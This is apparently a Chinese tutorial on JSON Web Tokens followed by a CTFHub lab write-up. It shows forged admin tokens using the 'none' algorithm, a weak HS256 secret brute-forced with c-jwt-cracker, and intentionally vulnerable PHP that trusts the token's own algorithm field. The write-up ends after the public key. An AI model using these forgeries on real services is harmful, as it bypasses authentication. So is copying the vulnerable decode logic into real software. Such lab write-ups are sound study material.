JWT的含义
Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC7519)。该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。
JWT的结构
JWT由三部分组成,它们之间用圆点.
连接。这三部分分别是:
Header -->头部
Payload -->负载
Signature -->签名
这三部分拼接在一起就组成了JWT
Header.Payload.Signature
例如:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
使用在线工具,进行JWT解密
Header(头部)
Header的参数为alg和typ
alg: ALGORITHM 即算法名称
typ: TOKEN TYPE 即token的类型
例如:
{
"alg": "HS256",
"typ": "JWT"
}
数据所包含的信息为:token的类型是JWT,算法名称为HS256
Payload(有效载荷)
Payload用来存放实际需要传递的数据。
数据包含三个部分
1.Registered claims (标准中注册的声明)
JWT 规定了7个官方字段,这些是一组预定义的claims,非强制性的,供选用。
iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号
2.Public claims (公共的声明)
可以随意定义。自定义claims,注意不要和JWT注册表中属性冲突,这里可以查看JWT注册表。
3.Private claims (私有的声明)
这些是自定义的claims,用于在同意使用这些claims的各方之间共享信息,它们既不是Registered claims,也不是Public claims。
例如:
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}
数据中所包含的信息为:主题为1234567890,自定义的私有字段名字为John Do,签发时间为1516239022
Signature(签名)
Signature对前两部分的签名,防止数据篡改
将上面的Header
和Payload
base64编码后的字符串用.
连接在一起
提供一个密钥(secret)用Header中所规定的算法加密,就可以形成一个新的字符串。
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
your-256-bit-secret
)
将上面的三部分base64编码后,用 .
拼接在一起,就形成了一个完整的JWT格式
JWT的特点
1.JWT 默认是不加密,但也是可以加密的。
2JWT 不加密的情况下,不能将秘密数据写入 JWT。
3.JWT 不仅可以用于认证,也可以用于交换信息。有效使用 JWT,可以降低服务器查询数据库的次数。
4.JWT 签发了,在到期之前就会始终有效,因为服务器不保存 session 状态,因此无法在使用过程中废止某个 token,或更改 token 的权限。
5.JWT 本身包含了认证信息,一旦泄露,任何人都可以获得该令牌的所有权限。
6.JWT 不应该使用 HTTP 协议明码传输,要使用 HTTPS 协议传输。
CTFHub-Web-JWT
敏感信息泄露
题目描述:JWT的头部和有效载荷这两部分的数据是以明文形式传输的,如果其中包含了敏感信息的话,就会发生敏感信息泄露。试着找出FLAG。格式为 flag{}
访问题目地址
尝试管理员账号登陆成功,但是没有flag
抓包一下,在Cookie里面发现了
token的值为
eyJBRyI6Ijg3ZWQ4ZjBjNmY3ZGNkNX0iLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJGTCI6ImN0Zmh1YntiYmI0MDQxMmUifQ.raHL5NAWYrXTeVHp9ptaU1gVh0k55ZW0TjkxwthfrDc
jwt解密,在JWT的HEADER和PAYLOAD部分可以得到flag
无签名
题目描述: 一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证。尝试找到 flag。
访问靶机地址
管理员弱密码登陆
抓包,在Cookie处发现JWT信息
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJyb2xlIjoiZ3Vlc3QifQ.MaphZVk25q4stXxAmEgXmKCW7aUo3jDJtgv9DwahLwc
JWT解密
将Header里面的alg置为空,即使用none算法
Payload里面的guest改为admin
由于使用无签名算法,所以Signature为空。然后使用.
将Header、Payload和Signature拼接起来,得到新的JWT。
token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJyb2xlIjoiYWRtaW4ifQ==.
得到flag
弱密钥
题目描述:如果JWT采用对称加密算法,并且密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥。尝试获取flag
抓包
token为
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJyb2xlIjoiZ3Vlc3QifQ.0cny5aIZ4dDg7zcdMYCwzRPst82Z-bl5w-7bEH_dlC4
Base64解码
{"typ":"JWT","alg":"HS256"}{"username":"admin","password":"123456","role":"guest"} YT%қ㹐d?Қ|~^2k
N3$
密钥不知道,使用JWT cracker工具爆破密钥,爆破得到密钥是cgpo
┌──(kali㉿kali)-[~/c-jwt-cracker]
└─$ make
gcc -I /usr/include/openssl -g -std=gnu99 -O3 -c -o main.o main.c
gcc -I /usr/include/openssl -g -std=gnu99 -O3 -c -o base64.o base64.c
gcc -o jwtcrack main.o base64.o -lssl -lcrypto -lpthread
┌──(kali㉿kali)-[~/c-jwt-cracker]
└─$ ./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJyb2xlIjoiZ3Vlc3QifQ.0cny5aIZ4dDg7zcdMYCwzRPst82Z-bl5w-7bEH_dlC4
Secret is "cgpo"
把密钥cgpo填进去,然后把role:guest改成role:admin。
新生成的jwt
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJyb2xlIjoiYWRtaW4ifQ.G9FbZliNHqIX0wWyMh721jIbOIntXLydQCbLyebt32w
使用该jwt访问首页得到flag
修改签名算法*
题目描述:有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的。
源码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<title>CTFHub JWTDemo</title>
<link rel="stylesheet" href="/static/style.css" />
</head>
<body>
<main id="content">
<header>Web Login</header>
<form id="login-form" method="POST">
<input type="text" name="username" placeholder="Username" />
<input type="password" name="password" placeholder="Password" />
<input type="submit" name="action" value="Login" />
</form>
<a href="/publickey.pem">publickey.pem</a>
</main>
<?php echo $_COOKIE['token'];?>
<hr/>
</body>
</html>
<?php
require __DIR__ . '/vendor/autoload.php';
use \Firebase\JWT\JWT;
class JWTHelper {
public static function encode($payload=array(), $key='', $alg='HS256') {
return JWT::encode($payload, $key, $alg);
}
public static function decode($token, $key, $alg='HS256') {
try{
$header = JWTHelper::getHeader($token);
$algs = array_merge(array($header->alg, $alg));
return JWT::decode($token, $key, $algs);
} catch(Exception $e){
return false;
}
}
public static function getHeader($jwt) {
$tks = explode('.', $jwt);
list($headb64, $bodyb64, $cryptob64) = $tks;
$header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));
return $header;
}
}
$FLAG = getenv("FLAG");
$PRIVATE_KEY = file_get_contents("/privatekey.pem");
$PUBLIC_KEY = file_get_contents("./publickey.pem");
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!empty($_POST['username']) && !empty($_POST['password'])) {
$token = "";
if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'admin',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
} else {
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'guest',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
}
@setcookie("token", $token, time()+1800);
header("Location: /index.php");
exit();
} else {
@setcookie("token", "");
header("Location: /index.php");
exit();
}
} else {
if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {
$obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);
if ($obj->role === 'admin') {
echo $FLAG;
}
} else {
show_source(__FILE__);
}
}
?>
publickey.pem
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuR4Ux+xr+5aFBfkU6sr3
KHChl9/R69s2bIjSHiZFtkWIwUpf9dQ5hTRICibphgehg8958xaGhuJA+5cMLEy9
LCR+0twWcSg7fPBe/Gbbo958MMjQbCPDBQOvOeeKYw++isq1r6AM1K0w+P69Yk33
Rd5iAux5mYp1cu550W3iiA5L+gsBr5iGeSnVBYoE0NETygExSh9tn1YEjK7+Si4L
GWlhspuQ1c3ZCFiiFyf4vyZjVS2YJa1awaabzQUU/l8qoaD4vacc8gO9HURSMPy6
QK6tR8Wn7S9FE+NfzDuj/W/2bZqJfg6C3+m27cmNt7TUka//eGcwbVTCKzSkvNDz
UQIDAQAB
-----END PUBLIC KEY-----
…
参考文章:JWT基础知识